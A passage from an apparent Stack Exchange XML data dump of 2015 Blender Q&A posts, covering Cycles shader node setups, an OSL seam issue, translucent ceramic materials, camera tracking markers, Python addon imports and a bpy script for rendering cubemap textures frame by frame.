this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3Ru5A.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Ru5A.png&quot; alt=&quot;final shader&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't show up on the model, it means your UV-mapping on the model is wrong (probably). Since the texture only works for a specific UV-mapping, you must get this right when you import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step if you intend to render this is to work on the shader some more. You do this in the node editor. Your shader will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tMALH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMALH.png&quot; alt=&quot;node editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2015-09-04T22:24:11.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38036" PostTypeId="1" AcceptedAnswerId="38039" CreationDate="2015-09-04T22:46:07.607" Score="4" ViewCount="222" Body="&lt;p&gt;I'm trying to make a rock stick out of the sea, and want to blend from a wet rock to dry rock using cycles nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a mix shader to blend between two shaders based on the Z position. The mix factor is obtained by calling &lt;code&gt;smoothstep&lt;/code&gt; in an OSL script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My node setup is like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mn5va.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mn5va.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for some reason I'm getting a sharp seam along Z positions where the blending ends:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FmRME.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FmRME.jpg&quot; alt=&quot;Seam&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what might cause this, or how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/471/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=471&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17914" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-05T00:08:56.407" Title="Cycles and OSL Render - Weird Seam" Tags="&lt;cycles-render-engine&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38037" PostTypeId="1" CreationDate="2015-09-04T23:26:57.143" Score="7" ViewCount="2449" Body="&lt;p&gt;I am trying to create ceramic material, similiar to the one on the picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TneRl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TneRl.jpg&quot; alt=&quot;translucent shadow&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can't figure out, how to add shadow from behind the ceramic part. Translucency nor SSS don't do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see there is no shadow comming from Suzanne's chin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WjDzK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WjDzK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folowwing your advices, this is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FDKgE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FDKgE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the node tree&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n16FK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n16FK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2015-09-05T07:54:03.150" LastActivityDate="2015-09-05T09:22:25.597" Title="Translucent shadow (ceramic material)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38038" PostTypeId="1" AcceptedAnswerId="38041" CreationDate="2015-09-04T23:43:31.420" Score="7" ViewCount="1868" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GqeKn.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GqeKn.png&quot; alt=&quot;Red &amp;amp; Green: Perfect channel separators&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'd like to do three things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make the Red area glossy&lt;/li&gt;&#xA;&lt;li&gt;Make the Green area roughly diffuse&lt;/li&gt;&#xA;&lt;li&gt;Make the Green area appear higher than/on top of the red area (bump height).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Basically I'm looking for a procedural/node technique I can use to treat areas separated by color (or alpha). In the pictured set-up I'm using red and green (as I thought splitting colors to RGB could be a solution), but I'd like the solution to be used with any colors required.&lt;/p&gt;&#xA;&lt;p&gt;Any clues would be gratefully appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="14754" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-05T11:37:21.333" Title="How can I use colours to separate texture node treatment?" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38039" PostTypeId="2" ParentId="38036" CreationDate="2015-09-05T00:08:56.407" Score="2" Body="&lt;h2&gt;OSL Shading issue with Diffuse Roughness &gt; 0&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FMsly.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FMsly.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By dupilcate the Diffuse shader as in the node setup belowe an lowering the amount of the second Diffuse Roughness to something like .95 you should get the expected result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be an issue in the usage of that parameter. It leads to strange behaviours. Note that if you don't double the node but just try to lower the Roughness of the Diffuse shader node, you'll need to set it lower than 0.5 to achieve the given result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s7VEZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s7VEZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wYFtw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYFtw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that is not related with the use of the OSL script because it still happens even with default nodes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KL2Zj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KL2Zj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..when the same scene, rendered with OSL Shading &lt;strong&gt;disabled&lt;/strong&gt;, gives expected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SEJnT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SEJnT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-09-05T00:08:56.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38040" PostTypeId="2" ParentId="38038" CreationDate="2015-09-05T00:38:59.063" Score="4" Body="&lt;p&gt;Here's a simple set up to do what you asked for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aMiim.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMiim.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The noise texture is converted to greyscale (a value between 0.0 and 1.0). Then we test to see if the greyscale value is greater than 0.5. (If it's &amp;lt; 0.5 then we get a value of 0.0. If it's greater than 0.5 we get a value of 1.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That value of 0.0 or 1.0 can then be used as the factor in a mix shader, and also directly for the surface displacement. (You could add a multiply node in there if necessary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I believe the RGB to BW node happens implicitly - as in your set up above, so you could skip it.)&lt;/p&gt;&#xA;" OwnerUserId="17914" LastActivityDate="2015-09-05T00:38:59.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38041" PostTypeId="2" ParentId="38038" CreationDate="2015-09-05T01:44:24.687" Score="9" Body="&lt;p&gt;With two different known colours you can use the &lt;strong&gt;Separate RGB&lt;/strong&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rqp0p.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqp0p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The R output of the node already give us a map of the red areas (full white=1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gAdci.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gAdci.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the mask both in a Bump Node and in a Mix Shader node.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you would like to implement a similar process with every possible colour you can set up a Node tree capable of recognize where a given color is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YrpEy.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YrpEy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you have to mask where the the color that correspond to the shader to mix is on the map by masking individually each component. Starting from the &lt;strong&gt;HUE&lt;/strong&gt; values we check with math nodes where the subtraction gives almost = 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zjvY4.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zjvY4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than we can copy this node also for the &lt;strong&gt;Saturation&lt;/strong&gt; and &lt;strong&gt;Value&lt;/strong&gt;...ehm...values! By multiplying their output we are running an Logical AND operation, so at the and we'll have only the places where all three parameters have the same values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/obXnI.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/obXnI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By making a whole group of these operations you'll be able to match each colour to a shader simply by giving the color to pick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pxEnb.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxEnb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/472/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=472&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of usage with files made by an external application such as the &lt;a href=&quot;http://quixel.se/usermanual/quixelsuite/doku.php?id=ddo_samples&quot; rel=&quot;noreferrer&quot;&gt;SciFi Helmet&lt;/a&gt; by Michael Pavlovic. You can pick the colour from the Colour Id mask directly from the render preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ePfyx.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ePfyx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-09-05T11:37:21.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38042" PostTypeId="2" ParentId="38037" CreationDate="2015-09-05T01:55:25.143" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LwRpA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwRpA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This (poorly lit) example manages to get the kind of effect you're after. This is a question where a screenshot of your node setup for the glass material would really help.&lt;/p&gt;&#xA;&lt;p&gt;The first thing to understand is that your bowl is not ceramic. Ceramic is neither transparent nor translucent. The effect you're after comes from translucent/opaque glass. But before you go diving for the Glass shader think about combining a Glossy and Translucent shader for volume, with SSS to further scatter light over the surface area.&lt;/p&gt;&#xA;&lt;p&gt;Also key is the light source. I positioned a Sun lamp behind my bowl to give me the shadow through the bowl as you have done. I can also adjust the Sun's size to increase or decrease the shadow's edge within the bowl. (There's also a little Ambient Occlusion in the scene but this shouldn't affect the bowl shadow).&lt;/p&gt;&#xA;" OwnerUserId="14754" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-05T09:22:25.597" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38043" PostTypeId="1" CreationDate="2015-09-05T04:09:47.173" Score="2" ViewCount="1001" Body="&lt;p&gt;I am going to be making a scene where I will be using camera tracking for the first time and I was wondering how to make good markers for good scene tracking... the scene is going to consist of just white drywall with a ball smashing through it from the inside of the drywall into view... I will be using cell fracture and bullet constraints for the scene... If there would be any other good tips for me to know, it would be great if you could comment it... But I need to know how to make good markers for camera tracking... Thank you very much! &lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2015-09-05T05:28:46.103" Title="How to make good camera tracking markers" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2015-09-05T18:56:21.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="38044" PostTypeId="2" ParentId="38043" CreationDate="2015-09-05T05:14:19.903" Score="3" Body="&lt;p&gt;For proper tracking you need to find features that are distinct and recognizable form frame to frame. Usually points with contrast or a color that is different than the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A white wall with no such features will not give you much information for proper reconstruction so you will need to add something that the trackers can follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you shoot the scene you can add pieces of color tape or things you can stick to the wall that will provide a good reference (like putty, or color plastiline dots). Depending on the size of the frame usually pieces of tape cut in triangles work well. Sometimes a piece of tape in the form of an X will work.&#xA;Others use color stickers or pieces of paper with black and white patterns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make a shot meant for motion tracking try to avoid sudden moves that might distort the image or create motion blur. Or that will make the trackers less readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that for a proper reconstruction you need at least 8 tracking points. But don't limit yourself to only that number, have more just in case the tracking process fails.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-09-05T05:28:46.103" LastActivityDate="2015-09-05T05:28:46.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38045" PostTypeId="1" AcceptedAnswerId="38050" CreationDate="2015-09-05T05:46:48.147" Score="0" ViewCount="58" Body="&lt;p&gt;I noticed that it takes me &lt;strong&gt;too much&lt;/strong&gt; time modeling some simple things, I can't understand why it is so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender for quite a long time already and using all the Hotkeys possible, but still I think I'm not efficient enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there is a way to 3D Model Faster / More Efficiently, Apart from being an experienced user and knowing where every function/button is or using Hotkeys.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="6076" LastEditDate="2015-09-05T06:33:30.223" LastActivityDate="2015-09-05T06:48:55.777" Title="How can my process of modeling be Sped Up?" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-09-05T07:01:38.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="38046" PostTypeId="1" AcceptedAnswerId="38047" CreationDate="2015-09-05T05:57:46.443" Score="3" ViewCount="2462" Body="&lt;p&gt;I'm having the hardest time trying to import a few things. I have an addon that has multiple files all under one folder with an &lt;code&gt;__init__.py&lt;/code&gt; in the base. I'm performing all of these imports from this &lt;code&gt;__init__.py&lt;/code&gt;. The addon folder resides in my addon folder as &lt;code&gt;scripts/addons/RLD_Toolkit&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My directory hierarchy looks like this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/93AnG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/93AnG.png&quot; alt=&quot;Directory Hierarchy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part of the script where it errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    #These imports do not work&#xA;    from . import rld_panel&#xA;    import rld_panel&#xA;&#xA;    #This import does work&#xA;    import RLD_Toolkit.rld_panel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error I'm getting is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Import Error: cannot import name `rld_panel`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why won't it perform the relative imports (or even the straight up import) from my &lt;code&gt;__init__.py&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Here's a printout of my &lt;code&gt;globals()&lt;/code&gt; variables and &lt;code&gt;sys.path&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.imgur.com/NeTA000.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/NeTA000.png&quot; alt=&quot;globals and path&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10985" LastEditorUserId="10985" LastEditDate="2015-09-05T06:14:17.327" LastActivityDate="2015-09-05T06:21:28.757" Title="Python importing nightmare" Tags="&lt;python&gt;&lt;import&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38047" PostTypeId="2" ParentId="38046" CreationDate="2015-09-05T06:21:28.757" Score="1" Body="&lt;p&gt;To answer the question, you will have to add the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sys.path.append(__path__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before importing anything. This will add the current folder into the path Python looks in for imports. Then you can import files  with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bar import foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-09-05T06:21:28.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38050" PostTypeId="2" ParentId="38045" CreationDate="2015-09-05T06:48:55.777" Score="2" Body="&lt;p&gt;There is no magic bullet. The only real way to get faster, is to practice and learn about the different tools available to you (watch tutorials).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you practice, you start to notice things that you do a lot, and eventually you might find a tool that can achieve a task faster. Tutorials help speed up the process, but they only show what the tools can do, not how you should use them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also might find that you work faster with a certain tool than other people. Essentially, some people work well one way (and that's what they'll teach), and others work better other ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lot's of things can be taught in tutorials, but you can only learn to do those tasks quickly as you become comfortable with them. The only way to become comfortable with them is experience.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-09-05T06:48:55.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38051" PostTypeId="1" CreationDate="2015-09-05T07:13:34.370" Score="1" ViewCount="2170" Body="&lt;p&gt;I'm not very experienced with blender. I imported an .fbx-model and tried to sculpt in a few changes, but I can't see what I'm doing, because while in sculpt mode, it appears that nothing is changing at all. Only when I enter edit mode afterwards, the vertices get updated and I can see the effect. Please help!&lt;/p&gt;&#xA;" OwnerUserId="17916" LastActivityDate="2016-12-23T16:18:51.560" Title="Sculpting effects not showing until I switch to edit mode?" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38052" PostTypeId="1" AcceptedAnswerId="38053" CreationDate="2015-09-05T07:37:10.180" Score="1" ViewCount="986" Body="&lt;p&gt;I need to load 6 cubemap images each &quot;frame&quot; and apply them to a cube and render that as equirectangular panorama frames via Cycles (camera inside cube, nothing else in the scene).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you do it?&lt;/p&gt;&#xA;" OwnerUserId="16748" LastEditorUserId="3078" LastEditDate="2015-09-07T21:26:58.457" LastActivityDate="2015-09-07T21:26:58.457" Title="How can I make a script to make Cycles load a new texture each frame?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38053" PostTypeId="2" ParentId="38052" CreationDate="2015-09-05T08:17:16.290" Score="4" Body="&lt;p&gt;Try this [Modified according to comments].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It assumes that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have one root folder (ReplaceMe1) that contains a subfolder for each cubemap. Each subfolder has 6 images, one for every side of the cube.&lt;/li&gt;&#xA;&lt;li&gt;Your cube is comprised of 6 separate objects, appropriately named ('side' / 'front', etc. See script for full list).&lt;/li&gt;&#xA;&lt;li&gt;Each side object has a separate cycles material with an image texture node. &lt;/li&gt;&#xA;&lt;li&gt;You want to save all your renders to a specific folder (RepalceMe2)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from os import listdir&#xA;from os.path import join, isdir, isfile&#xA;&#xA;# Root folder which contains a subfolder for each environment map&#xA;imgFolder = 'C:/ReplaceMe1'&#xA;&#xA;# Subfolders, each containing 6 images - 1 per side of the cube&#xA;mapSubFolders = [ d for d in listdir( imgFolder ) if isdir( join( imgFolder, d ) ) ]&#xA;&#xA;# Output Path (where your renders will be saved)&#xA;outputPath = 'C:/ReplaceMe2'&#xA;&#xA;S = bpy.context.scene&#xA;&#xA;sides = [ 'top', 'bottom', 'left', 'right', 'front', 'back' ] # Object names&#xA;&#xA;for d in mapSubFolders:&#xA;    folderPath = join( imgFolder, d )&#xA;    imgFiles   = [ f for f in listdir( folderPath ) if isfile( join( folderPath, f ) ) ]&#xA;&#xA;    for s in sides:&#xA;        # This line will crash the script if this folder doesn't contain an image&#xA;        # for each side, with the same name (for example: 'bottom.jpg'; format doesn't matter)&#xA;        sideImg = [ f for f in imgFiles if s in f ][0]&#xA;&#xA;        imgPath = join( folderPath, sideImg )&#xA;&#xA;        # Open image file or apply the relevant image path to an existing image object with the same name&#xA;        if sideImg not in bpy.data.images:&#xA;            bpy.ops.image.open( filepath = imgPath )&#xA;        else:&#xA;           bpy.data.images[ sideImg ].filepath = imgPath&#xA;&#xA;        img = bpy.data.images[ sideImg ]&#xA;&#xA;        sideObj = S.objects[ s ]&#xA;        t = sideObj.active_material.node_tree&#xA;&#xA;        t.nodes['Image Texture'].image = img # Apply current side's image to image texture node&#xA;&#xA;    outputFile = d + &quot;_&quot; + s + S.render.file_extension&#xA;&#xA;    S.render.filepath = join( outputPath, outputFile ) # Set render output path&#xA;&#xA;    bpy.ops.render.render( write_still = True )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-09-07T21:23:53.963" LastActivityDate="2015-09-07T21:23:53.963" CommentCount="24" ContentLicense="CC BY-SA 3.0" />
  <row Id="38054" PostTypeId="2" ParentId="38024" CreationDate="2015-09-05T08:45:59.940" Score="2" Body="&lt;p&gt;This is a limitation of how blender works, constraints are the last step to placing an object, which means the fluid sim will never see the inflow object in the constrained location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to get this working is to bake the animation into keyframes for the inflow object then remove the constraint. &lt;em&gt;Object-&gt;Animation-&gt;Bake Action...&lt;/em&gt; will do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/56BQw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/56BQw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to turn on visual keying so that you get the location after the constraint is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F9XDO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9XDO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-09-05T08:45:59.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38055" PostTypeId="1" CreationDate="2015-09-05T10:19:51.097" Score="1" ViewCount="321" Body="&lt;p&gt;In the latest blender versions the ambient occlusion is strange. If i activate ambient occlusion, the shadows disapears if i set ambient occlusion on low forexample 0,50, the shadows disapears, and if i taking ot on 1.0, the shadows are weak. Before, ambient occlusion was like when i set it on low, the shadows were more visible and hard, and if i took it on high, it was more unclear shadows. Is it going to be a fix for ambient occlusion like it was before, soon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using a matchmove-camera imported from syntheyes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;is there something i must change in the camera object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vsA1G.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vsA1G.jpg&quot; alt=&quot;high value ambient occlusion&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/etkgE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/etkgE.png&quot; alt=&quot;low value ambient 